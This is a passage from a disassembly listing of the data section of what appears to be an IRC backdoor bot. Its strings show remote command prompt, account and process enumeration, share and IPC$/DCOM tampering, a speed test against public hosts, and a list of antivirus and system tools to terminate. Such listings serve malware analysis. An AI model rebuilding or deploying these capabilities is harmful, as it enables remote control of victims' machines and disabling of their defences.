		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 57F7C6E8h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
